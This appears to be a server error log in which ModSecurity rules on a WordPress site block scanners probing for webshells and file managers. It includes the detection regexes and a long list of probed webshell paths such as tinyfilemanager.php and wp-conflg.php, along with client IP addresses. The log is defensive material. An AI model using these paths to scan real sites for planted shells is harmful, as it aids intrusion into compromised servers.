[Sat Dec 20 07:35:55.990890 2025] [:error] [pid 14286:tid 14311] [client 45.86.202.63:52269] [client 45.86.202.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUXhW57rbXIrw6rGSda6gQAAAVU"]
[Sat Dec 20 07:35:57.506497 2025] [:error] [pid 14286:tid 14292] [client 45.86.202.61:24881] [client 45.86.202.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUXhXZ7rbXIrw6rGSda6jQAAAUI"]
[Sat Dec 20 07:35:59.970723 2025] [:error] [pid 14286:tid 14292] [client 45.86.202.58:30175] [client 45.86.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUXhX57rbXIrw6rGSda6oAAAAUI"]
[Sat Dec 20 07:36:01.743430 2025] [:error] [pid 18807:tid 18821] [client 45.86.202.220:46191] [client 45.86.202.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUXhYWRP9n5OCTllYeUDUgAAAYw"]
[Sat Dec 20 07:36:04.382433 2025] [:error] [pid 39493:tid 39553] [client 45.86.202.98:40529] [client 45.86.202.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUXhZGhjL2VG_FmIHqAcLgAAAIQ"]
[Sat Dec 20 07:36:05.361930 2025] [:error] [pid 39492:tid 39525] [client 45.86.202.73:31937] [client 45.86.202.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUXhZYs_ZYP1UQNM9hampQAAAEM"]
[Sat Dec 20 07:36:06.033754 2025] [:error] [pid 39491:tid 39517] [client 45.86.202.77:30779] [client 45.86.202.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUXhZltw2ggYvDxu2EDRuwAAABY"]
[Sat Dec 20 07:36:06.655605 2025] [:error] [pid 39491:tid 39496] [client 45.86.202.89:24191] [client 45.86.202.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUXhZltw2ggYvDxu2EDRvgAAAAE"]
[Sat Dec 20 07:36:07.284608 2025] [:error] [pid 39493:tid 39564] [client 45.86.202.58:28891] [client 45.86.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUXhZ2hjL2VG_FmIHqAcNgAAAI8"]
[Sat Dec 20 07:36:07.950568 2025] [:error] [pid 18807:tid 18819] [client 45.86.202.82:39501] [client 45.86.202.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUXhZ2RP9n5OCTllYeUDWgAAAYo"]
[Sat Dec 20 07:36:08.929715 2025] [:error] [pid 39577:tid 39595] [client 45.86.202.84:41875] [client 45.86.202.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUXhaLviRnt1rJiSOfyVVgAAANA"]
[Sat Dec 20 07:44:48.407794 2025] [:error] [pid 39491:tid 39512] [client 45.86.202.86:46447] [client 45.86.202.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUXjcFtw2ggYvDxu2EDxUQAAABE"]
[Sat Dec 20 07:44:49.944492 2025] [:error] [pid 14286:tid 14303] [client 45.86.202.81:63857] [client 45.86.202.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUXjcZ7rbXIrw6rGSdbZOAAAAU0"]
[Sat Dec 20 07:44:53.416782 2025] [:error] [pid 14286:tid 14310] [client 45.86.202.74:53479] [client 45.86.202.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUXjdZ7rbXIrw6rGSdbZaQAAAVQ"]
[Sat Dec 20 07:44:55.006327 2025] [:error] [pid 14247:tid 14256] [client 45.86.202.87:54597] [client 45.86.202.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUXjdyDv9TtKKdJQn9l6fQAAAQc"]
[Sat Dec 20 07:44:57.435989 2025] [:error] [pid 18807:tid 18830] [client 45.86.202.85:33923] [client 45.86.202.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUXjeWRP9n5OCTllYeUjgwAAAZU"]
[Sat Dec 20 07:44:58.344687 2025] [:error] [pid 39492:tid 39533] [client 45.86.202.58:44459] [client 45.86.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUXjeos_ZYP1UQNM9hbJDgAAAEs"]
[Sat Dec 20 07:44:59.944310 2025] [:error] [pid 39491:tid 39505] [client 45.86.202.76:56817] [client 45.86.202.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUXje1tw2ggYvDxu2EDyUAAAAAo"]
[Sat Dec 20 07:45:01.646895 2025] [:error] [pid 14247:tid 14253] [client 45.86.202.74:25193] [client 45.86.202.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUXjfSDv9TtKKdJQn9l64wAAAQQ"]
[Sat Dec 20 07:45:02.207766 2025] [:error] [pid 18807:tid 18816] [client 45.86.202.78:58859] [client 45.86.202.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUXjfmRP9n5OCTllYeUj4AAAAYc"]
[Sat Dec 20 07:45:02.854485 2025] [:error] [pid 18807:tid 18814] [client 45.86.202.93:21265] [client 45.86.202.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUXjfmRP9n5OCTllYeUj7wAAAYU"]
[Sat Dec 20 07:45:03.759176 2025] [:error] [pid 14247:tid 14265] [client 45.86.202.65:57305] [client 45.86.202.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUXjfyDv9TtKKdJQn9l6_QAAARA"]
[Sat Dec 20 07:45:05.007727 2025] [:error] [pid 39492:tid 39544] [client 45.86.202.63:65141] [client 45.86.202.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUXjgYs_ZYP1UQNM9hbJewAAAFY"]
[Sat Dec 20 07:45:06.184433 2025] [:error] [pid 14247:tid 14260] [client 45.86.202.55:28989] [client 45.86.202.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUXjgiDv9TtKKdJQn9l7IgAAAQs"]
[Sat Dec 20 07:45:07.092473 2025] [:error] [pid 14286:tid 14308] [client 45.86.202.53:21323] [client 45.86.202.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUXjg57rbXIrw6rGSdbabgAAAVI"]
[Sat Dec 20 07:45:07.974816 2025] [:error] [pid 39491:tid 39508] [client 45.86.202.66:49603] [client 45.86.202.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUXjg1tw2ggYvDxu2EDy-AAAAA0"]
[Sat Dec 20 07:45:10.434685 2025] [:error] [pid 39492:tid 39544] [client 45.86.202.74:63903] [client 45.86.202.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUXjhos_ZYP1UQNM9hbJ2gAAAFY"]
[Sat Dec 20 07:45:11.341649 2025] [:error] [pid 18807:tid 18821] [client 45.86.202.66:21249] [client 45.86.202.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUXjh2RP9n5OCTllYeUktgAAAYw"]
[Sat Dec 20 07:45:12.494663 2025] [:error] [pid 14247:tid 14252] [client 45.86.202.73:47335] [client 45.86.202.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUXjiCDv9TtKKdJQn9l7hQAAAQM"]
[Sat Dec 20 07:45:13.402136 2025] [:error] [pid 39493:tid 39565] [client 45.86.202.63:48143] [client 45.86.202.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUXjiWhjL2VG_FmIHqA7_gAAAJA"]
[Sat Dec 20 07:45:15.132385 2025] [:error] [pid 39492:tid 39523] [client 45.86.202.94:57311] [client 45.86.202.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUXji4s_ZYP1UQNM9hbKHgAAAEE"]
[Sat Dec 20 07:45:16.013051 2025] [:error] [pid 39491:tid 39505] [client 45.86.202.64:54547] [client 45.86.202.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUXjjFtw2ggYvDxu2EDzjgAAAAo"]
[Sat Dec 20 07:45:16.900152 2025] [:error] [pid 18807:tid 18831] [client 45.86.202.66:53787] [client 45.86.202.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUXjjGRP9n5OCTllYeUlSwAAAZY"]
[Sat Dec 20 07:45:17.462756 2025] [:error] [pid 14286:tid 14301] [client 45.86.202.74:21601] [client 45.86.202.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUXjjZ7rbXIrw6rGSdbbIgAAAUs"]
[Sat Dec 20 07:45:19.054912 2025] [:error] [pid 14247:tid 14249] [client 45.86.202.86:56565] [client 45.86.202.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUXjjyDv9TtKKdJQn9l8JQAAAQA"]
[Sat Dec 20 07:45:20.527503 2025] [:error] [pid 39492:tid 39532] [client 45.86.202.79:44445] [client 45.86.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUXjkIs_ZYP1UQNM9hbKXQAAAEo"]
[Sat Dec 20 07:45:21.098939 2025] [:error] [pid 39493:tid 39565] [client 45.86.202.79:29907] [client 45.86.202.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUXjkWhjL2VG_FmIHqA8gAAAAJA"]
[Sat Dec 20 07:45:21.677611 2025] [:error] [pid 18807:tid 18812] [client 45.86.202.221:43075] [client 45.86.202.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUXjkWRP9n5OCTllYeUlwwAAAYM"]
[Sat Dec 20 07:45:40.513309 2025] [:error] [pid 39492:tid 39522] [client 45.86.202.220:35195] [client 45.86.202.220] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "62.164.177.15_5002ada1c05fac60ce2af638d5f54066641d121c"): Internal error (specific information not available) [hostname "www.measureyourbrand.com.au"] [uri "/index.php/wp-admin/css/colors/sunrise/"] [unique_id "aUXjoIs_ZYP1UQNM9hbLHQAAAEA"]
[Sat Dec 20 11:55:43.559621 2025] [:error] [pid 39577:tid 39586] [client 56.125.9.19:44682] [client 56.125.9.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_next/data"] [unique_id "aUYeP7viRnt1rJiSOfzuoAAAAMc"]
[Sat Dec 20 11:55:45.236844 2025] [:error] [pid 39577:tid 39595] [client 56.125.9.19:44766] [client 56.125.9.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUYeQbviRnt1rJiSOfzupAAAANA"]
[Sat Dec 20 21:48:04.487514 2025] [:error] [pid 14286:tid 14300] [client 85.203.34.38:58813] [client 85.203.34.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUapFJ7rbXIrw6rGSdaQBwAAAUo"]
[Sat Dec 20 21:48:05.415099 2025] [:error] [pid 33793:tid 33812] [client 85.203.34.19:27361] [client 85.203.34.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUapFVSicyB0BFmbRMzeRAAAAtE"]
[Sat Dec 20 21:48:19.076873 2025] [:error] [pid 33749:tid 33753] [client 85.203.34.33:47319] [client 85.203.34.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aUapI9oInXJnb96wei9wlwAAAoI"]
[Sat Dec 20 21:48:20.576165 2025] [:error] [pid 33793:tid 33799] [client 85.203.34.25:27499] [client 85.203.34.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aUapJFSicyB0BFmbRMze5gAAAsQ"]
[Sat Dec 20 21:48:21.154488 2025] [:error] [pid 33793:tid 33796] [client 185.92.25.139:46283] [client 185.92.25.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aUapJVSicyB0BFmbRMze7gAAAsE"]
[Sat Dec 20 21:48:21.753270 2025] [:error] [pid 33749:tid 33756] [client 85.203.34.2:54075] [client 85.203.34.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aUapJdoInXJnb96wei9w0QAAAoU"]
[Sat Dec 20 21:48:22.636909 2025] [:error] [pid 33570:tid 33577] [client 85.203.34.2:47341] [client 85.203.34.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aUapJoTNveA-c6YcSrIacQAAAcE"]
[Sat Dec 20 21:48:23.536278 2025] [:error] [pid 14286:tid 14290] [client 85.203.34.38:23197] [client 85.203.34.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aUapJ57rbXIrw6rGSdaQ5AAAAUA"]
